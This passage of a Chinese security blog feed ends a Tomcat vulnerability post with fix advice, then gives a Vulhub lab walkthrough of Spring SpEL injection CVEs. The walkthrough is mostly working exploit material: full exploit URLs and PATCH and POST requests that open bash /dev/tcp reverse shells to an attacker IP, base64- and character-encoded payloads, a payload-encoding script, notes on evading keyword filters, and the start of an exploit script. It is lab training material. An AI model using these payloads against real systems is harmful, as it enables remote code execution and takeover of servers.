<table><thead><tr><th>漏洞编号</th><th>漏洞类型</th><th>注入点</th><th>利用方式</th></tr></thead><tbody><tr><td>CVE-2017-12615</td><td>任意文件写入</td><td>PUT 方法 + DefaultServlet</td><td>利用 <code>/</code> 后缀绕过检测写入 JSP</td></tr><tr><td>CVE-2020-1938</td><td>文件包含/读取</td><td>AJP 协议 8009 端口</td><td>通过 AJP 读取 webapp 任意文件</td></tr><tr><td>CVE-2025-24813</td><td>反序列化 RCE</td><td>部分 PUT + Session 持久化</td><td>写入序列化对象 + 操作 JSESSIONID</td></tr><tr><td>CVE-2026-34486</td><td>反序列化 RCE</td><td>Tribes 4000 端口</td><td>绕过 EncryptInterceptor 发送 payload</td></tr><tr><td>弱口令</td><td>后台管理</td><td>manager 后台</td><td>弱口令登录后上传 war 包</td></tr></tbody></table><p><strong>核心本质</strong>：Tomcat 的漏洞利用通常需要特定的错误配置作为前提——<code>readonly=false</code>、Session 持久化开启、Tribes 集群启用、弱口令等。这提醒我们，<strong>生产环境中应严格遵循安全配置基线</strong>，关闭不必要的功能和端口。</p></section>
<section><h2>四、修复方案<a href="#四修复方案"><span>#</span></a></h2>

<table><thead><tr><th>漏洞</th><th>修复版本</th><th>临时措施</th></tr></thead><tbody><tr><td>CVE-2017-12615</td><td>Tomcat 8.5.20+</td><td>确保 DefaultServlet 的 <code>readonly=true</code></td></tr><tr><td>CVE-2020-1938</td><td>Tomcat 9.0.31 / 8.5.51 / 7.0.100+</td><td>关闭 AJP 连接器或配置 <code>secret</code> 认证</td></tr><tr><td>CVE-2025-24813</td><td>Tomcat 9.0.98 / 10.1.35 / 11.0.3+</td><td>关闭 Session 持久化或设置 <code>readonly=true</code></td></tr><tr><td>CVE-2026-34486</td><td>升级到官方修复版本</td><td>关闭 Tribes 集群或限制 4000 端口访问</td></tr><tr><td>弱口令</td><td>无版本修复</td><td>移除默认用户、使用强密码、限制 manager 访问 IP</td></tr></tbody></table><p><strong>通用建议</strong>：</p><ol>
<li>及时升级 Tomcat 到最新安全版本</li>
<li>将 DefaultServlet 的 <code>readonly</code> 设置为 <code>true</code>（默认值）</li>
<li>如非必要，关闭 AJP 连接器；如必须使用，配置 <code>secret</code> 和 <code>address</code> 限制</li>
<li>生产环境禁用 Session 持久化，或将其存储在安全路径</li>
<li>限制 Tribes 接收端口的网络访问，仅允许集群内节点通信</li>
<li>移除 <code>tomcat-users.xml</code> 中的默认用户，使用强密码，并限制 manager 页面的访问 IP</li>
<li>部署 WAF，拦截包含 <code>PUT</code> 方法、异常 <code>Content-Range</code> 头、<code>JSESSIONID=.xxx</code> 等特征的恶意请求</li>
</ol></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/vulhub/spring-framework/</id>
      <title type="text">Spring Framework</title>
      <published>2026-10-10T01:00:00.000Z</published>
      <updated>2026-10-10T01:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/vulhub/spring-framework/"/>
      <summary type="text">全面解析 Spring 框架的 SpEL 表达式注入与数据绑定漏洞，涵盖 CVE-2022-22965（Spring4Shell）、CVE-2022-22947（Spring Cloud Gateway RCE）、CVE-2022-22963（Spring Cloud Function RCE）、CVE-2017-8046（Spring Data REST RCE）等核心漏洞的原理分析、利用手法及实战修复方案。</summary>
      <content type="html"><![CDATA[

<table><thead><tr><th>项目</th><th>详情</th></tr></thead><tbody><tr><td><strong>攻击机</strong></td><td>Kali Linux（IP：192.168.197.128）</td></tr><tr><td><strong>靶机</strong></td><td>Ubuntu Server 24.04（IP：192.168.197.88）</td></tr><tr><td><strong>CVSS 评分</strong></td><td>CVE-2022-22965: 9.8（严重） / CVE-2022-22947: 10.0（严重） / CVE-2022-22963: 9.8（严重）</td></tr><tr><td><strong>典型漏洞编号</strong></td><td>CVE-2022-22965（Spring4Shell）/ CVE-2022-22947（Spring Cloud Gateway RCE）/ CVE-2022-22963（Spring Cloud Function RCE）/ CVE-2017-8046（Spring Data REST RCE）/ CVE-2018-1270（Spring Messaging RCE）</td></tr><tr><td><strong>影响组件</strong></td><td>Spring Framework 5.3.0 ~ 5.3.17 / Spring Cloud Gateway 3.1.0 ~ 3.1.1 / Spring Cloud Function 3.2.2 等</td></tr><tr><td><strong>漏洞类型</strong></td><td>SpEL 表达式注入 / 数据绑定（Data Binding）→ 远程代码执行（RCE）/ 权限绕过</td></tr><tr><td><strong>利用条件</strong></td><td>使用漏洞版 Spring 组件 + 用户可控的 SpEL 表达式或数据绑定入口</td></tr><tr><td><strong>核心原理</strong></td><td>SpEL 表达式未安全过滤，或数据绑定未限制类属性访问，导致恶意代码执行</td></tr></tbody></table>
<section><h2>一、漏洞原理<a href="#一漏洞原理"><span>#</span></a></h2><p>Spring 框架的漏洞家族，主要围绕两条核心技术主线展开：<strong>SpEL 表达式注入</strong>和<strong>数据绑定（Data Binding）</strong>。</p><p><strong>SpEL（Spring Expression Language）</strong> 是 Spring 框架提供的一种强大的表达式语言，设计初衷是支持在运行时查询和操作对象图。它语法类似 OGNL，支持方法调用、属性访问、类实例化等。Spring 在多个组件中使用 SpEL 来处理动态表达式，包括 Spring Security OAuth2、Spring Data REST、Spring Messaging、Spring Cloud Gateway、Spring Cloud Function 等。当用户可控的输入被拼接到 SpEL 表达式中并由 StandardEvaluationContext 解析执行时，攻击者就可以构造恶意表达式调用 java.lang.Runtime 执行系统命令，形成远程代码执行（RCE）。</p><p><strong>数据绑定（Data Binding）</strong> 是 Spring MVC 的核心功能之一，它负责将 HTTP 请求参数自动映射到 Java 对象的属性上。在 CVE-2022-22965（Spring4Shell）中，攻击者利用数据绑定机制，通过 class.module.classLoader 访问链，逐级操控 Tomcat 的日志配置属性，最终将 Webshell 写入 Web 根目录。这条攻击链不依赖 SpEL 注入，而是利用 Java Bean 属性绑定的递归访问能力，属于另一条独特的技术路线。</p><p>除上述两类核心漏洞外，Spring 生态还出现过认证绕过（CVE-2022-22978）和路径穿越（CVE-2025-41242）等漏洞，前者利用正则表达式 . 的匹配缺陷，后者利用 Spring 与 Jetty 之间 URI 解码的不一致性，都非常具有研究价值。</p></section>
<section><h2>二、漏洞复现<a href="#二漏洞复现"><span>#</span></a></h2><section><h3>1. CVE-2016-4977（Spring Security OAuth2 SpEL 注入）<a href="#1-cve-2016-4977spring-security-oauth2-spel-注入"><span>#</span></a></h3><p>Spring Security OAuth 在使用 whitelabel views 处理错误时，由于使用了 SpEL 解析错误参数，攻击者在被授权的情况下可以通过构造恶意参数远程执行命令。</p><p><strong>① 验证漏洞是否可利用</strong></p><p>访问以下 URL：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8080/oauth/authorize?response_type=${233*233}&amp;client_id=acme&amp;scope=openid&amp;redirect_uri=http://test</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后在弹出登录框中输入admin，如果页面返回54289（233×233 的结果），说明SpEL表达式已被执行，漏洞存在。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261006202452.B8982WwH_Z26S9MP.webp" />
<strong>② 反弹 Shell</strong></p><p>反弹shell的命令为：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>bash -i &gt;&amp; /dev/tcp/192.168.197.128/4444 0&gt;&amp;1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>base64编码后得到：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>拼装成 Java 环境下的反弹命令（<strong>下面要用</strong>）：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>使用 <code>poc.py</code> 生成反弹 Shell 的 SpEL 表达式：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/usr/bin/env python</span></div></div><div><div><div>2</div></div><div><span><span>message </span><span>=</span><span> </span></span><span>input</span><span>(</span><span>'Enter message to encode:'</span><span>)</span></div></div><div><div><div>3</div></div><div><span><span>poc </span><span>=</span><span> </span></span><span>'${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(</span><span>%s</span><span>)'</span><span><span> </span><span>%</span><span> </span></span><span>ord</span><span>(message[</span><span>0</span><span>])</span></div></div><div><div><div>4</div></div><div><span>for</span><span> ch </span><span>in</span><span> message[</span><span>1</span><span>:]:</span></div></div><div><div><div>5</div></div><div><span><span>   </span></span><span>poc </span><span>+=</span><span> </span><span>'.concat(T(java.lang.Character).toString(</span><span>%s</span><span>))'</span><span><span> </span><span>%</span><span> </span></span><span>ord</span><span>(ch)</span></div></div><div><div><div>6</div></div><div><span><span>poc </span><span>+=</span><span> </span></span><span>')}'</span></div></div><div><div><div>7</div></div><div><span>print</span><span>(poc)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>执行该python代码：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>python3 poc.py</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>当出现 <code>Enter message to encode:</code> 时，<strong>粘贴上面那一整行反弹命令，然后回车，得到SpEL表达式</strong>：
<img alt="" loading="lazy" width="1638" height="914" src="/_astro/Pasted%20image%2020261006203904.CE9mBr26_Z14vVof.webp" />
然后需要将生成的 SpEL 语句拼接到 <code>response_type</code> 参数值中：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8080/oauth/authorize?response_type=&lt;粘贴生成的SpEL表达式&gt;&amp;client_id=acme&amp;scope=openid&amp;redirect_uri=http://test</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>因此得到完整的 URL 如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.88:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(53)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&amp;client_id=acme&amp;scope=openid&amp;redirect_uri=http://test</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>同时kali记得开启端口监听：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>nc -lvnp 4444</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在浏览器访问该URL：
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261006203646.DigDnjOo_1jyRsK.webp" />
此时查看kali，发现反弹shell成功：
<img alt="" loading="lazy" width="1638" height="915" src="/_astro/Pasted%20image%2020261006203605.cKr2qZPY_Zg0llW.webp" /></p></section><section><h3>2. CVE-2017-4971（Spring WebFlow SpEL 注入）<a href="#2-cve-2017-4971spring-webflow-spel-注入"><span>#</span></a></h3><p>Spring WebFlow 是一个适用于开发基于流程的应用程序的框架（如购物逻辑），可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中，如果我们控制了数据绑定时的 field，将导致一个 SpEL 表达式注入漏洞，最终造成任意命令执行。</p><p><strong>① 登录系统</strong></p><p>访问 <code>http://192.168.197.88:8080/login</code>，使用页面左侧给出的任意账号/密码登录。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261007102941.DNm7A2Of_Z3BCQC.webp" />
<strong>② 进入预订流程</strong></p><p>直接点击查找酒店：
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261007103459.B1G4r_e2_Z8WtV1.webp" />
选择第一个，点击查看酒店：
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261007103559._hlDakJX_Z1biPkm.webp" />
填写信息后点击 “Process”，再点击 “Confirm”（从这一步，其实 WebFlow 就正式开始了）。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261007104057.5_izsIvc_iuUlb.webp" />
注意下面点击 “Confirm”之前，先要在BurpSuite开启抓包。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261007103955.CLiNi6Nd_2pIrt6.webp" />
<strong>③ 注入 Payload</strong></p><p>抓取 POST 数据包，向其中添加以下字段：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>_(new java.lang.ProcessBuilder("bash","-c","bash -i &gt;&amp; /dev/tcp/192.168.197.128/4444 0&gt;&amp;1")).start()=vulhub</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>注意对 Payload 进行 URL 编码：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>_%28new%20java%2Elang%2EProcessBuilder%28%22bash%22%2C%22-c%22%2C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E197%2E128%2F4444%200%3E%261%22%29%29%2Estart%28%29=vulhub</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261007110802.Crb-d1dy_ol2go.webp" /></p><p>接着在kali开启端口监听：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>nc -lvnp 4444</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>回到BurpSuite点击发送数据包，然后查看kali，发现反弹shell成功：
<img alt="" loading="lazy" width="1639" height="911" src="/_astro/Pasted%20image%2020261007110725.JAeJsFJk_aqLJz.webp" /></p></section><section><h3>3. CVE-2017-8046（Spring Data REST SpEL 注入）<a href="#3-cve-2017-8046spring-data-rest-spel-注入"><span>#</span></a></h3><p>Spring Data REST 的 PATCH 方法中，JSON Patch 的 <code>path</code> 值被传入 <code>setValue</code>，导致 SpEL 表达式执行。</p><p><strong>① 验证漏洞</strong></p><p>发送以下 PATCH 请求：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>PATCH</span><span> /customers/1 </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>application/json-patch+json</span></div></div><div><div><div>4</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>202</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>[{ </span><span>"op"</span><span>: </span><span>"replace"</span><span>, </span><span>"path"</span><span>: </span><span>"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname"</span><span>, </span><span>"value"</span><span>: </span><span>"vulhub"</span><span> }]</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>下面解释一下上面的 PATCH 请求是在干什么。</p><p>这个字节数组：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>每个数字对应一个 ASCII 字符（例如116对应t，111对应o），逐个转成字符就是：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>touch /tmp/success</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>也就是说，这个 Payload 最终执行的是：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Runtime</span><span>.</span><span>getRuntime</span><span>().</span><span>exec</span><span>(</span><span>new</span><span> </span><span>String</span><span>(</span><span>"touch /tmp/success"</span><span>))</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>作用是在靶机容器的 /tmp 目录下创建一个名为 success 的文件，用来验证命令执行是否成功。</p><p>那为什么要用字节数组，而不直接写字符串？</p><p>直接用字符串的话，SpEL 表达式会变成：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>T</span><span>(</span><span>java</span><span>.</span><span>lang</span><span>.</span><span>Runtime</span><span><span>)</span><span>.</span></span><span>getRuntime</span><span>().</span><span>exec</span><span>(</span><span>"touch /tmp/success"</span><span><span>)</span><span>/</span><span>lastname</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这样写会带来几个问题：</p><ol>
<li><strong>空格问题</strong>：SpEL 表达式中的空格可能被解析器截断或误判。</li>
<li><strong>引号问题</strong>：JSON 里嵌 JSON，字符串里的双引号需要转义，很容易写错。</li>
<li><strong>特殊字符过滤</strong>：有些版本对 exec(”…”) 这种直接传字符串的写法有安全过滤，但用 new String(new byte[]{…}) 可以绕过简单的关键字检测。</li>
<li><strong>兼容性更好</strong>：字节数组完全避免了引号和空格，传给 SpEL 解析器时更“干净”。</li>
</ol><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020261007133838.ZpfeQZ-P_1PzwSX.webp" />
点击发送后，进入容器验证：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>docker-compose exec spring bash</span></div></div><div><div><div>2</div></div><div><span>ls -l /tmp/success</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果文件存在，说明命令执行成功。
<img alt="" loading="lazy" width="1564" height="913" src="/_astro/Pasted%20image%2020261007123134.BuEVzDl4_1scYlp.webp" />
<strong>② 反弹 Shell</strong></p><p>只需要把字节数组替换成反弹 Shell 命令的 ASCII 码即可。例如：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>bash -i &gt;&amp; /dev/tcp/192.168.197.128/4444 0&gt;&amp;1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>但是上面的命令会<strong>直接失败</strong>，<strong>因为 Java Runtime.exec() 的执行方式</strong>——它不通过 Shell 解析命令，所以 &gt;&amp; 和 /dev/tcp 这些 Shell 特殊语法不会被解释，命令直接失败。</p><p><strong>解决方案：</strong> 用 bash -c 包裹 + Base64 编码。也就是让 Java 只调用 bash -c，把真正的命令通过 Base64 传递，避免空格和特殊字符被 Java 切碎（这种情况前面2道题也有出现，但是当时并没有特别说明，后面的话就直接使用这种不会失败的反弹shell了）。</p><p>首先将上面的命令进行base64编码：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>echo -n 'bash -i &gt;&amp; /dev/tcp/192.168.197.128/4444 0&gt;&amp;1' | base64</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>得到：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后拼装命令：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>接下来要生成字节数组，可以使用python快速生成对应的字节数组：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cmd </span><span>=</span><span> </span></span><span>'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>print</span><span>(</span><span>','</span><span><span>.</span><span>join</span><span>(</span></span><span>str</span><span>(</span><span>ord</span><span>(c)) </span><span>for</span><span> c </span><span>in</span><span> cmd))</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1212" height="594" src="/_astro/Pasted%20image%2020261007131431.Bv5d50va_pRLyK.webp" />
得到下面的字节数组：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,53,78,121,52,120,77,106,103,118,78,68,81,48,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后把生成的数组填入 Payload：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>PATCH</span><span> /customers/1 </span><span>HTTP</span><span>/</span><span>1.1</span></div></div><div><div><div>2</div></div><div><span>Host</span><span>:</span><span> </span><span>192.168.197.88:8080</span></div></div><div><div><div>3</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>application/json-patch+json</span></div></div><div><div><div>4</div></div><div><span>Content-Length</span><span>:</span><span> </span><span>202</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>[{ </span><span>"op"</span><span>: </span><span>"replace"</span><span>, </span><span>"path"</span><span>: </span><span>"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,53,78,121,52,120,77,106,103,118,78,68,81,48,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname"</span><span>, </span><span>"value"</span><span>: </span><span>"vulhub"</span><span> }]</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>使用BurpSuite发送后即可获得反弹 Shell。
<img alt="" loading="lazy" width="1563" height="913" src="/_astro/Pasted%20image%2020261007131521.B0vc8jBr_BSUPn.webp" /></p></section><section><h3>4. CVE-2018-1270（Spring Messaging SpEL 注入）<a href="#4-cve-2018-1270spring-messaging-spel-注入"><span>#</span></a></h3><p>Spring Messaging 基于 SockJS，底层适配 WebSocket 或 HTTP。在 Vulhub 环境中，可以直接使用 HTTP 复现。Spring Messaging 允许客户端订阅消息并使用 selector 过滤消息，selector 用 SpEL 表达式编写并使用 StandardEvaluationContext 解析，造成命令执行漏洞。</p><p><strong>① 验证漏洞是否可利用（POC脚本）</strong></p><p>目录下提供了 exploit.py（需 Python 3.6 执行），修改其中的 URL 为靶机地址（代码如下）：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/usr/bin/env python3</span></div></div><div><div><div>2</div></div><div><span>import</span><span> requests</span></div></div><div><div><div>3</div></div><div><span>import</span><span> random</span></div></div><div><div><div>4</div></div><div><span>import</span><span> string</span></div></div><div><div><div>5</div></div><div><span>import</span><span> time</span></div></div><div><div><div>6</div></div><div><span>import</span><span> threading</span></div></div><div><div><div>7</div></div><div><span>import</span><span> logging</span></div></div><div><div><div>8</div></div><div><span>import</span><span> sys</span></div></div><div><div><div>9</div></div><div><span>import</span><span> json</span></div></div><div><div><div>10</div></div><div><span><span>logging.</span><span>basicConfig</span><span>(</span></span><span>stream</span><span><span>=</span><span>sys.stdout, </span></span><span>level</span><span><span>=</span><span>logging.</span><span>INFO</span><span>)</span></span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>def</span><span> </span><span>random_str</span><span>(</span><span>length</span><span>):</span></div></div><div><div><div>13</div></div><div><span><span>    </span></span><span>letters </span><span>=</span><span> string.ascii_lowercase </span><span>+</span><span> string.digits</span></div></div><div><div><div>14</div></div><div><span>    </span><span>return</span><span> </span><span>''</span><span><span>.</span><span>join</span><span>(random.</span><span>choice</span><span>(letters) </span></span><span>for</span><span> c </span><span>in</span><span> </span><span>range</span><span>(length))</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>class</span><span><span> </span><span>SockJS</span><span>(</span><span>threading</span><span>.</span><span>Thread</span><span>)</span></span><span>:</span></div></div><div><div><div>17</div></div><div><span>    </span><span>def</span><span> </span><span>__init__</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>url</span></span><span>,</span><span> </span><span>*</span><span>args</span><span>,</span><span> </span><span>**</span><span>kwargs</span><span>):</span></div></div><div><div><div>18</div></div><div><span>        </span><span>super</span><span>().</span><span>__init__</span><span>(*args, **kwargs)</span></div></div><div><div><div>19</div></div><div><span>        </span><span>self</span><span><span>.base </span><span>=</span><span> </span></span><span>f</span><span>'</span><span>{</span><span>url</span><span>}</span><span>/</span><span>{</span><span><span>random.</span><span>randint</span><span>(</span></span><span>0</span><span>, </span><span>1000</span><span>)</span><span>}</span><span>/</span><span>{</span><span><span>random_str</span><span>(</span></span><span>8</span><span>)</span><span>}</span><span>'</span></div></div><div><div><div>20</div></div><div><span>        </span><span>self</span><span><span>.daemon </span><span>=</span><span> </span></span><span>True</span></div></div><div><div><div>21</div></div><div><span>        </span><span>self</span><span><span>.session </span><span>=</span><span> requests.</span><span>session</span><span>()</span></span></div></div><div><div><div>22</div></div><div><span>        </span><span>self</span><span><span>.session.headers </span><span>=</span><span> {</span></span></div></div><div><div><div>23</div></div><div><span>            </span><span>'Referer'</span><span>: url,</span></div></div><div><div><div>24</div></div><div><span>            </span><span>'User-Agent'</span><span>: </span><span>'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'</span></div></div><div><div><div>25</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>26</div></div><div><span>        </span><span>self</span><span><span>.t </span><span>=</span><span> </span></span><span>int</span><span><span>(time.</span><span>time</span><span>()</span><span>*</span></span><span>1000</span><span>)</span></div></div><div><div><div>27</div></div><div><span>    </span><span>def</span><span> </span><span>run</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>28</div></div><div><span><span>        </span></span><span>url </span><span>=</span><span> </span><span>f</span><span>'</span><span>{</span><span>self</span><span>.base</span><span>}</span><span>/htmlfile?c=_jp.vulhub'</span></div></div><div><div><div>29</div></div><div><span><span>        </span></span><span>response </span><span>=</span><span> </span><span>self</span><span><span>.session.</span><span>get</span><span>(url, 